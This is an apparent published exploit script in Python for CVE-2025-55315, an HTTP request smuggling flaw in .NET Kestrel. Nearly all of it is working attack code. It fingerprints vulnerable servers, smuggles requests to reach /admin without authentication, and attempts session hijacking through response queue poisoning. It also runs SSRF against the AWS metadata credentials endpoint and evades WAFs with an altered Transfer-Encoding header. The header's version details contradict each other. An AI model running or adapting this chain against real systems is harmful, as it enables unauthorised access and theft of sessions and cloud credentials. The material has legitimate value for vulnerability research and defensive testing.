# Exploit Title: ASP.net 8.0.10 - Bypass # Date: 2025-11-03 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # CVE: CVE-2025-55315 # Tested on: .NET Kestrel (unpatched) - ASP.NET Core on localhost (lab environment) # Platform: remote # Type: webapps # Attack Vector: Network (HTTP/HTTPS) - Remote exploitation via malformed chunked encoding # CVSS: 9.8 (Critical) - Estimated: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H # # Description: # This exploit demonstrates a critical HTTP Request Smuggling vulnerability in # unpatched versions of .NET Kestrel due to improper handling of malformed # chunk extensions (LF-only line endings). The script performs: # 1. Automatic fingerprinting to detect vulnerable instances # 2. Auth bypass to access restricted endpoints (/admin) # 3. Session hijacking via response queue poisoning (JS cookie stealer) # 4. SSRF to internal metadata services (e.g., AWS 169.254.169.254) # Includes WAF bypass using 'chUnKEd' header and generates detailed JSON reports. # # The vulnerability allows full remote compromise: authentication bypass, # session theft, and internal network access — all from a single HTTP request. # # Patched in .NET 9.0.1 / 8.0.10+ (October 2025). # # IMPORTANT SAFETY : # - DO NOT RUN AGAINST PRODUCTION OR THIRD-PARTY SYSTEMS. # - Use only in isolated environments (VM, Docker with --network none). # - All payloads are educational and non-destructive by design. # - Modify payloads only within your controlled lab. # # References: # - CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55315 # - Microsoft Security Advisory (hypothetical): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315 from __future__ import annotations import socket import ssl import time import argparse import json import os from typing import Tuple, Optional DEFAULT_TIMEOUT = 3.0 READ_CHUNK = 4096 REPORT_DIR = "kestrel_desync_reports" os.makedirs(REPORT_DIR, exist_ok=True) # ------------------ Utilities ------------------ def now_iso() -> str: return time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()) def hexdump(b: bytes, maxlen: int = 200) -> str: shown = b[:maxlen] hexed = ' '.join(f"{x:02x}" for x in shown) return f"{hexed} ..." if len(b) > maxlen else hexed def save_file(path: str, data: bytes) -> None: try: with open(path, 'wb') as f: f.write(data) print(f"[+] Saved: {path}") except Exception as e: print(f"[!] Save failed: {e}") # ------------------ Networking ------------------ def send_http(host: str, port: int, data: bytes, use_tls: bool = False) -> Tuple[Optional[bytes], bool]: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(DEFAULT_TIMEOUT) try: if use_tls: ctx = ssl.create_default_context() s = ctx.wrap_socket(s, server_hostname=host) s.connect((host, port)) s.sendall(data) parts = [] while True: try: chunk = s.recv(READ_CHUNK) if not chunk: break parts.append(chunk) except socket.timeout: break resp = b''.join(parts) s.settimeout(0.2) try: s.recv(1) open_flag = True except: open_flag = False s.close() return resp, open_flag except Exception: return None, False # ------------------ Request Builder (WAF Bypass) ------------------ def build_chunked(method: str, path: str, body: bytes, extra_headers: list = None) -> bytes: headers = [ f"{method} {path} HTTP/1.1", "Host: localhost", "Transfer-Encoding: chUnKEd", # WAF Bypass "Content-Type: text/plain", ] if extra_headers: headers.extend(extra_headers) headers.extend(["", ""]) return "\r\n".join(headers).encode() + body # ------------------ Fingerprint ------------------ def fingerprint(host: str, port: int, use_tls: bool) -> Tuple[bool, Optional[bytes]]: print(f"[*] Fingerprinting {host}:{port}...") payload = b"1\nx\n0\n\n" req = build_chunked("POST", "/", payload) resp, _ = send_http(host, port, req, use_tls) if resp and b"400" not in resp.split(b'\r\n', 1)[0]: print(f"[!] VULNERABLE: Accepted LF-only chunk!") return True, resp print(f"[+] Patched: 400 Bad Request") return False, resp # ------------------ Exploit Chain ------------------ def exploit_chain(host: str, port: int, use_tls: bool): results = [] # 1. Auth Bypass print(f"[!] 1. Auth Bypass → /admin") smug_admin = b"0\r\n\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\nX-Bypass: yes\r\n\r\n" req1 = build_chunked("POST", "/", b"1;ext\nx\n" + smug_admin, ["Content-Length: 50"]) resp1, _ = send_http(host, port, req1, use_tls) if resp1 and (b"admin" in resp1.lower() or b"dashboard" in resp1.lower()): results.append("Auth Bypass: SUCCESS") save_file(os.path.join(REPORT_DIR, f"admin_page_{host}_{port}.html"), resp1) else: results.append("Auth Bypass: FAILED") # 2. Session Hijacking print(f"[!] 2. Session Hijacking → JS Stealer") js_payload = ( b"0\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n" b"Content-Type: text/html\r\nContent-Length: 120\r\n\r\n" b"" ) req2 = build_chunked("POST", "/", b"1;ext\nx\n" + js_payload) send_http(host, port, req2, use_tls) results.append("Session Hijack: INJECTED") # 3. SSRF print(f"[!] 3. SSRF → AWS Metadata") ssrf = b"0\r\n\r\nGET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: localhost\r\n\r\n" req3 = build_chunked("POST", "/", b"1;ext\nx\n" + ssrf) resp3, _ = send_http(host, port, req3, use_tls) if resp3 and b"role" in resp3: results.append("SSRF: SUCCESS") save_file(os.path.join(REPORT_DIR, f"ssrf_metadata_{host}_{port}.txt"), resp3) else: results.append("SSRF: FAILED") return results # ------------------ Reporting ------------------ def save_json_report(host: str, port: int, use_tls: bool, results: list): report = { "target": f"{host}:{port}", "tls": use_tls, "timestamp": now_iso(), "cve": "CVE-2025-55315", "status": "VULNERABLE", "waf_bypass": "chUnKEd", "exploits": results } path = os.path.join(REPORT_DIR, f"REPORT_{host}_{port}_{int(time.time())}.json") with open(path, 'w', encoding='utf-8') as f: json.dump(report, f, indent=2) print(f"[+] JSON Report: {path}") # ------------------ CLI ------------------ def main(): parser = argparse.ArgumentParser() parser.add_argument("target", help="host:port or host:port:tls") args = parser.parse_args() parts = args.target.split(":") host = parts[0] port = int(parts[1]) use_tls = len(parts) > 2 and parts[2].lower() in ("tls", "1") print(f"\n=== Kestrel Desync Full Chain ===\nTarget: {host}:{port} (TLS: {use_tls})\n") is_vuln, _ = fingerprint(host, port, use_tls) if not is_vuln: print("[+] Target is patched. Exiting.") return results = exploit_chain(host, port, use_tls) save_json_report(host, port, use_tls, results) print(f"\n[+] Exploitation chain completed!") print(f"[+] All files in: {REPORT_DIR}") if __name__ == "__main__": main()